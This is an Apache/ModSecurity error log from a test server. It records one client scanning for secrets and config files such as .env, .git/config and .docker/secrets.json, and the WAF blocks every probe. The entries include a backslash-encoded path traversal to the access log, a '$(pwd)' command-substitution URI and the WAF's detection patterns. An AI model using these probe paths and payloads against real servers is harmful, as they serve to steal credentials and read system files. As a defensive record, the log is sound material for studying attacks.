[Thu Mar 12 21:45:13.869361 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abMl2Rh46oOr_mPgZ6HLMQAAAAI"]
[Thu Mar 12 21:45:13.891585 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abMl2Rh46oOr_mPgZ6HLMgAAAAI"]
[Thu Mar 12 21:45:13.891791 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abMl2Rh46oOr_mPgZ6HLMgAAAAI"]
[Thu Mar 12 21:45:13.891928 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abMl2Rh46oOr_mPgZ6HLMgAAAAI"]
[Thu Mar 12 21:45:13.935788 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abMl2Rh46oOr_mPgZ6HLNAAAAAI"]
[Thu Mar 12 21:45:13.935983 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abMl2Rh46oOr_mPgZ6HLNAAAAAI"]
[Thu Mar 12 21:45:13.936118 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abMl2Rh46oOr_mPgZ6HLNAAAAAI"]
[Thu Mar 12 21:45:13.958278 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abMl2Rh46oOr_mPgZ6HLNQAAAAI"]
[Thu Mar 12 21:45:13.958504 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abMl2Rh46oOr_mPgZ6HLNQAAAAI"]
[Thu Mar 12 21:45:13.958642 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abMl2Rh46oOr_mPgZ6HLNQAAAAI"]
[Thu Mar 12 21:45:13.980637 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abMl2Rh46oOr_mPgZ6HLNgAAAAI"]
[Thu Mar 12 21:45:13.980819 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abMl2Rh46oOr_mPgZ6HLNgAAAAI"]
[Thu Mar 12 21:45:13.980955 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abMl2Rh46oOr_mPgZ6HLNgAAAAI"]
[Thu Mar 12 21:45:14.114989 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "abMl2hh46oOr_mPgZ6HLPAAAAAI"]
[Thu Mar 12 21:45:14.115195 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "46"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%5c found within REQUEST_URI_RAW: /..%5c..%5c..%5c..%5c..%5c..%5cvar/log/apache2/access.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "abMl2hh46oOr_mPgZ6HLPAAAAAI"]
[Thu Mar 12 21:45:14.115430 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "abMl2hh46oOr_mPgZ6HLPAAAAAI"]
[Thu Mar 12 21:45:14.115556 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "abMl2hh46oOr_mPgZ6HLPAAAAAI"]
[Thu Mar 12 21:45:14.138071 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:14.159827 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:14.181722 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:14.203370 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/next.config.js
[Thu Mar 12 21:45:14.225049 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/next.config.mjs
[Thu Mar 12 21:45:14.292314 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:14.314038 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:14.335838 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/nuxt.config.js
[Thu Mar 12 21:45:14.357566 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:14.379289 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:14.400947 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:14.422838 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/serverless.yml
[Thu Mar 12 21:45:14.444710 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/serverless.yaml
[Thu Mar 12 21:45:14.512128 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:14.533855 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/package.json
[Thu Mar 12 21:45:14.556113 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /$(pwd)/package.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/package.json"] [unique_id "abMl2hh46oOr_mPgZ6HLUAAAAAI"]
[Thu Mar 12 21:45:14.556310 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/package.json"] [unique_id "abMl2hh46oOr_mPgZ6HLUAAAAAI"]
[Thu Mar 12 21:45:14.556438 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/package.json"] [unique_id "abMl2hh46oOr_mPgZ6HLUAAAAAI"]
[Thu Mar 12 21:45:14.578102 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:14.599919 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/vercel.json
[Thu Mar 12 21:45:14.644703 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:14.666596 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/netlify.toml
[Thu Mar 12 21:45:14.711491 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:14.733286 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:14.755182 2026] [authz_core:error] [pid 2656515] [client 185.177.72.13:17302] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/docker-compose.yml
[Thu Mar 12 21:45:14.846356 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/opt/mailcow-dockerized/mailcow.conf"] [unique_id "abMl2hh46oOr_mPgZ6HLXQAAAAI"]
[Thu Mar 12 21:45:14.846751 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/opt/mailcow-dockerized/mailcow.conf"] [unique_id "abMl2hh46oOr_mPgZ6HLXQAAAAI"]
[Thu Mar 12 21:45:14.846890 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/opt/mailcow-dockerized/mailcow.conf"] [unique_id "abMl2hh46oOr_mPgZ6HLXQAAAAI"]
[Thu Mar 12 21:45:14.868916 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "Dockerfile" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dockerfile"] [unique_id "abMl2hh46oOr_mPgZ6HLXgAAAAI"]
[Thu Mar 12 21:45:14.869117 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dockerfile"] [unique_id "abMl2hh46oOr_mPgZ6HLXgAAAAI"]
[Thu Mar 12 21:45:14.869241 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dockerfile"] [unique_id "abMl2hh46oOr_mPgZ6HLXgAAAAI"]
[Thu Mar 12 21:45:14.937144 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".docker/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/config.json"] [unique_id "abMl2hh46oOr_mPgZ6HLYQAAAAI"]
[Thu Mar 12 21:45:14.937334 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/config.json"] [unique_id "abMl2hh46oOr_mPgZ6HLYQAAAAI"]
[Thu Mar 12 21:45:14.937457 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/config.json"] [unique_id "abMl2hh46oOr_mPgZ6HLYQAAAAI"]
[Thu Mar 12 21:45:14.959765 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".docker/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/secrets.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/secrets.json"] [unique_id "abMl2hh46oOr_mPgZ6HLYgAAAAI"]
[Thu Mar 12 21:45:14.959988 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/secrets.json"] [unique_id "abMl2hh46oOr_mPgZ6HLYgAAAAI"]
[Thu Mar 12 21:45:14.960136 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/secrets.json"] [unique_id "abMl2hh46oOr_mPgZ6HLYgAAAAI"]
